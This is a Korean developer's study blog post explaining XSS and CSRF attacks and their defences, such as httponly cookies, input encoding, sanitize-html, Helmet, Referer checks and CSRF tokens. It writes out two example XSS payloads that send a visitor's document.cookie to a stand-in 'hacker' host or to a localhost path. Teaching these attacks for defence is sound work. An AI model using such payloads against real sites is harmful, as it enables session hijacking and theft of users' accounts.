웹 해킹 기법(XSS / CSRF) 알아보기

Jiumn·2023년 4월 20일

오늘의 스터디 주제는 '보안 (Security)과 관련된 문제들은 어떤 것이 있나요?'였다. 인증/인가에 대해서 설명해주신 분도 있었는데, 나는 웹 해킹 기법인 XSS와 CSRF에 대해서 공부해봤다.

예전 포스팅에 간단하게 작성한 적이 있었는데 이번에 깊게 제대로 알아보자!

1. XSS 공격(Cross-Site Scripting)

사이트 간 스크립팅은 웹 사이트 관리자가 아닌 이가 웹 페이지에서 악성 스크립트를 삽입해서 공격하는 방법이다.

반사형 XSS (Reflected XSS)

웹 페이지 URL 파라미터에 악의적인 스크립트 코드를 입력해서 사용자가 URL을 클릭하면 악성 스크립트 코드가 실행되게 하는 공격이다.

스크립트 코드가 포함된 URL을 메일로 전송하거나 게시물로 등록하여 사용자가 클릭하도록 유도한다.

예를 들어 GET 방식으로 검색 기능을 구현한 웹 애플리케이션에 다음과 같이 검색 인자로 작성한 스크립트를 URL과 함께 사용자에게 전송한다.

http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

이렇게 코드를 작성하면 document.cookie로 쿠키를 가져올 수 있기 때문에, 링크 클릭 시 http://hacker/cookie.php로 쿠키 값을 전달하게 된다.

저장형 XSS (Stored XSS)

사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장되어 지속적으로 실행되는 공격 방식이다.

예를 들어 게시글에 다음과 같은 스크립트를 작성하여 사용자의 쿠키 값을 탈취하는 방법이 있다.

<script>document.location="localhost/cookie?"+document.cookie</script>

삽입된 악성 스크립트는 DB에 저장되고, 해당 게시글을 열람한 사용자들은 악성 스크립트가 작동함에 따라 쿠키나 세션 등을 탈취 당한다.

DOM 기반 XSS (DOM Based XSS)

DOM 기반 XSS는 반사형 XSS와 비슷한 방식(url에 <script> 코드 입력)으로 공격되나 차이점은 서버를 거치지 않고 브라우저에서 바로 실행된다는 차이점이 있다.

XSS 방어 대책

  1. document.cookie로 쿠키에 접근할 수 없도록 httponly 옵션을 활성화한다.

  2. JavaScript에 내장된 escape 함수나 encodeURIComponent 함수를 사용해서 특수문자를 인코딩 문자로 변환한다. (다른 언어에도 비슷한 내장 함수들이 있다.)

  3. 보안 라이브러리를 사용한다.
    node.js에서는 sanitize-html라는 라이브러리로 <script>, <a> 태그 등을 무시하도록 만들 수 있고, express.js에서는 Helmet이라는 미듈웨어 모듈로 XSS 공격을 막을 수 있다.

2. CSRF(Cross-site Request Forgery)

인증된(로그인된) 사용자의 웹 브라우저를 이용하여 악성 요청(Request Forgery)을 전송하여 권한이 있는 작업을 수행하도록 유도하는 공격이다.

예를 들어 악성 스크립트가 삽입된 게시글을 관리자가 클릭했을 때 의도와 무관하게 사이트 내의 글을 수정하거나 삭제하는 등의 공격이 가능하다.

CSRF 방어 대책

  1. Referrer 검증
    요청을 한 페이지의 정보가 담긴 Referrer 헤더 속성을 검증하여 차단하는 방법이다. 같은 도메인 상에서 요청이 들어오지 않는다면 차단한다.

  2. csrf 토큰 삽입

참고 자료

https://junhyunny.github.io/information/security/spring-mvc/reflected-cross-site-scripting/
https://hooneee.tistory.com/366
https://hooneee.tistory.com/m/369
https://velog.io/@kylexid/XSS-Cross-Site-Scripting
https://rednooby.tistory.com/22

profile
Back-End Wep Developer. 꾸준함이 능력이다. Node.js, React.js를 주로 다룹니다.

0개의 댓글